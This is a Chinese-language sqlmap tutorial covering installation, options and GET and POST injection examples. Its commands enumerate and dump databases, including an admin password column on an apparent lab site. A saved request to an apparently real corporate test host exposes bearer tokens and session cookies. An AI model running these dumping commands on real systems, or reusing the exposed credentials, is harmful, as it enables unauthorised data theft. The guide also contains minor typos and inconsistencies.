一.介绍
1.什么是 sqlmap
sqlmap 是一个自动化的 sql 注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,sqlmap 还提供了很多脚本.但在实践测试的时候基本用不上.用于检测和利用 Web 应用程序中的 SQL 注入漏洞。它自动化了识别和利用 SQL 注入漏洞的过程,并可用于执行各种任务,例如提取数据,访问底层文件系统以及在操作系统上执行命令。
2.sqlmap 的功能
SQLmap 支持多种数据库管理系统,包括 MySQL、Oracle、PostgreSQL、Microsoft SQL Server 等。它可以通过命令行界面或图形化界面进行操作,并提供了丰富的选项和功能,例如指定注入点、指定注入方式、指定数据提取方式等。同时,它也支持自定义脚本和插件,以扩展其功能和适应更多的情况。SQLmap 被广泛应用于渗透测试、安全研究、教育等领域。
SQLmap 使用 Python 语言编写,可以在多种操作系统上运行,例如 Linux、Windows、Mac OS 等。它的使用方法相对简单,但需要一定的 SQL 注入和渗透测试基础,否则可能会对目标系统造成损害。因此,在使用 SQLmap 时,需要遵循合法、合规、道德的原则,遵守法律法规,并获得相关授权和许可。
为了更好地使用 SQLmap,需要了解 SQL 注入漏洞的原理和利用方式,以及目标系统的相关信息和配置。在使用 SQLmap 进行渗透测试时,需要选择合适的注入点和注入方式,并进行参数配置和结果分析。同时,还需要注意防止被目标系统的安全机制检测和防御,例如使用代理、随机延时、避免过多的请求等。最后,在使用 SQLmap 进行渗透测试时,需要保护好自己的安全和隐私,防止泄露个人信息和被攻击者反制。
二.安装 sqlmap
1.创建目录
cd /usr/bin
mkdir sqlmap-dev
2.拉取代码
git clone https://github.com/sqlmapproject/sqlmap.git
3.配置
vim ~/.bash_profile
source ~/.bash_profile
alias sqlmap='Python3 /usr/bin/sqlmap-dev/sqlmap.py'
4.验证安装
sqlmap #查看版本
salmap -v #查看版本
三.使用
1.参数说明
-u 指定URL
-p 指定参数
-v 指定显示级别
--dbs 目标服务器中的数据库
--current-db 当前数据库
--tables 目标数据库有什么表
--columns 目标表中有什么列
--dump 获取数据
--batch 跳过问询(yes)之间执行,批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值
--dbms 指定数据库类型
--current-user 查看当前用户
--users 查看所有用户
--passwords 数据库密码
--hostname 系统名称
--banner 数据库信息
--roles 数据库用户角色
level 和 risk
在 SQLmap 中,level
和risk
是两个重要的选项,用于指定 SQL 注入检测和利用的深度和风险程度。 level
选项用于指定检测的深度,取值范围为 1~5,数字越大,检测的深度越深,检测的速度越慢。默认值为 1,表示最浅层的检测。 risk
选项用于指定检测和利用的风险程度,取值范围为 0~3,数字越大,风险越高,检测和利用的方式越激进。默认值为 1,表示中等的风险程度。 在使用 SQLmap 时,根据实际情况选择合适的level
和risk
选项,可以提高检测和利用的效率和成功率,同时避免对目标系统造成过多的影响和损害。
需要注意的是,level
和risk
选项虽然可以提高检测和利用的效率和成功率,但也会增加误报和误判的风险,甚至可能引发系统崩溃和数据损坏等问题。因此,在使用这两个选项时,需要谨慎评估风险和影响,并进行充分的测试和验证。同时,还需要遵守合法、合规、道德的原则,遵守法律法规,并获得相关授权和许可,以避免违法和不当行为带来的法律和道德风险。
Sqlmap 一共有 5 个探测等级,默认是 1。等级越高,说明探测时使用的 payload 也越多。其中 5 级的 payload 最多,会自动破解出 cookie、XFF 等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET 和 POST 的数据都会进行测试,HTTP cookie
在 level 为 2 时就会测试,HTTP User-Agent/Referer
头在 level 为 3 时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置 level 为5
sqlmap 一共有 3 个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为 3 级
如下,设置探测等级 5,平台危险等级 3,都是最高级别,进行扫描:
sqlmap -u "http://xxx:7777/Less-1/" --level=5 --risk=3
2.get 方法
1.判断是否有注入点
sqlmap -u "目标url"
2.查看数据库
sqlmap -u "目标_url" --dbs --dbms mysql
--dbms=DBMS #指定目标数据库类型
3.当前数据库
sqlmap -u "目标_url" --current-db --dbms mysql
4.字段获取
sqlmap -u "目标url" -D 库名 -T 表名 --columns
5.指定字段内容
sqlmap -u "目标url" -D 库名 -T 表名 -C 字段名1,字段名2,等等 --dump
-C COL 指定从某个列查询数据
--dump 查询指定范围的全部数据
(对加密的密码进行彩虹表攻击)
6.样例
sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=nh9elbltn3coe0kgvdnq1l6755" --batch
3.post 方式
1.保存参数
post.txt
POST /xxx-dsc-insight/test/prd/open-api/v1/sku/ck/v1.8.4/page?appid=0 HTTP/1.1
Host: xxx-uat.net.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
brandDetailNo: BS01
application: command
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwibW9iaWxlIjoiTlVMTCIsImlzcyI6ImRlZXBleGktZHNjLWJlbGxlLWluc2lnaHQiLCJzbiI6IuiNo-mAkiIsImV4cCI6MTY3NjY5OTc0NCwiaWF0IjoxNjc1ODM1NzQ0LCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.GeZhmSvBD7eQ5TEaxj1UCIq7dte8RRzPBSZoM1TEsaM
uid: rongdi
Content-Type: application/json;charset=utf-8
silent: true
Content-Length: 310
Origin: https://xxx-uat.net.cn
Connection: close
Referer: https://xxx-uat.net.cn/test/command/bs01/
Cookie: route=4daa8dd1683d45d93b8d439c25742107; brand-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwiaXNzIjoiZGVlcGV4aS1kc2MtYmVsbGUtaW5zaWdodCIsInNuIjoi6I2j6YCSIiwidXNlclR5cGUiOiJicmFuZCIsInVzZXJOYW1lIjoi6I2j6YCSIiwiZXhwIjoxNjc2Njk5NjMzLCJ1c2VySWQiOjM0MSwiaWF0IjoxNjc1ODM1NjMzLCJ1c2VyRW1wbG95ZWVOdW1iZXIiOiJyb25nZGkiLCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.PIZ5HapYBE62YAn5swGDyKjj9JAVXPIvEkJ8qPrlKUY; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwiaXNzIjoiZGVlcGV4aS1kc2MtYmVsbGUtaW5zaWdodCIsInNuIjoi6I2j6YCSIiwidXNlclR5cGUiOiJicmFuZCIsInVzZXJOYW1lIjoi6I2j6YCSIiwiZXhwIjoxNjc2Njk5NjMzLCJ1c2VySWQiOjM0MSwiaWF0IjoxNjc1ODM1NjMzLCJ1c2VyRW1wbG95ZWVOdW1iZXIiOiJyb25nZGkiLCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.PIZ5HapYBE62YAn5swGDyKjj9JAVXPIvEkJ8qPrlKUY; userId=undefined; tenantId=undefined; expires_in=undefined; refresh_token=undefined; groupId=undefined; _ati=3597590558839; JSESSIONID=88CF2B86EDCE43CA57C3B623FA4A3F13; sensorsdata2015jssdkcross=%7B%22distinct_id%22%3A%221862f97cae4185-08d6e9e06522c4-c5d5428-2073600-1862f97cae54e8%22%2C%22first_id%22%3A%22%22%2C%22props%22%3A%7B%22%24latest_traffic_source_type%22%3A%22%E7%9B%B4%E6%8E%A5%E6%B5%81%E9%87%8F%22%2C%22%24latest_search_keyword%22%3A%22%E6%9C%AA%E5%8F%96%E5%88%B0%E5%80%BC_%E7%9B%B4%E6%8E%A5%E6%89%93%E5%BC%80%22%2C%22%24latest_referrer%22%3A%22%22%7D%2C%22identities%22%3A%22eyIkaWRlbnRpdHlfY29va2llX2lkIjoiMTg2MmY5N2NhZTQxODUtMDhkNmU5ZTA2NTIyYzQtYzVkNTQyOC0yMDczNjAwLTE4NjJmOTdjYWU1NGU4In0%3D%22%2C%22history_login_id%22%3A%7B%22name%22%3A%22%22%2C%22value%22%3A%22%22%7D%2C%22%24device_id%22%3A%221862f97cae4185-08d6e9e06522c4-c5d5428-2073600-1862f97cae54e8%22%7D; sajssdk_2015_cross_new_user=1; qa-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwibW9iaWxlIjoiTlVMTCIsImlzcyI6ImRlZXBleGktZHNjLWJlbGxlLWluc2lnaHQiLCJzbiI6IuiNo-mAkiIsImV4cCI6MTY3NjY5OTc0NCwiaWF0IjoxNjc1ODM1NzQ0LCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.GeZhmSvBD7eQ5TEaxj1UCIq7dte8RRzPBSZoM1TEsaM; qa-userId=undefined; qa-tenantId=undefined; qa-expires_in=undefined; qa-refresh_token=undefined; qa-groupId=undefined
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"businesscityno":"1","categoryname1":"1","categoryno2":"-1","categoryno3":"-1","date":"2023-02-06","gendername":"7","invqtylist":["c"],"isinvqty":0,"operateevent":"':","page":1,"productcode":"","productyearname":"","regionname":"","regionno":"c","seasonname":"","size":80,"sortname":"salqty","sortord":"desc"}
2.执行
sqlmap -r /Users/qinyingjie/Downloads/post2.txt -p "categoryname1" --level 5 --risk 3 --batch
3.查询结果
四.常用
1.查询库名
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --dbs
2.查询表
-D 指定库名
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe --tables
3.查询列
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe -T admin --columns
4.查询列值
吃牢饭指令
python sqlmap.py -u"http://rhiq8003.ia.aqlab.cn/?id=1"-D maoshe -T admin -C password --dump